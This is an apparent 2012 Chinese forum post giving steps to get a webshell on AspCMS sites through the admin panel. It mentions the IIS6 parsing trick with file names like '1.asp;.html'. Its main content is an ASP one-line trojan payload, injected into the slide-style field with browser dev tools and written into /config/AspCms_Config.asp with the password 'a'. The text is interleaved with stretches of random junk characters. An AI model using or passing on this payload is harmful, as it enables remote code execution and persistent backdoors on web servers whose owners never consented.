aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.
9 e8 ^- l2 Z3 V) k1、进入后台，“扩展功能”--“幻灯片设置”--”幻灯样式”! ^# R# I- `5 u3 W4 }
0 A6 ^6 k1 ^9 g& [5 h9 W, I* k8 h( Q5 D6 h3 d" u' C
# d- _/ A1 X* I% [, m+ Q2、使用chorme的审查元素功能或者firefox的firebug，总之使用能修改当前页面元素的工具就好了。将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%) O; L8 J$ H7 F3 d
+ m/ k0 V: E+ ^( B
6 [4 P, Y T" {: K% c& L- l
3、一句话木马，密码a。在/config/AspCms_Config.asp4 V$ u- i- `4 M! w6 V: y/ |9 u
! m* _; X, @& D! I
o1 T2 S/ M' `% r$ i |
发表于 2012-11-9 20:55:05
收藏
支持
反对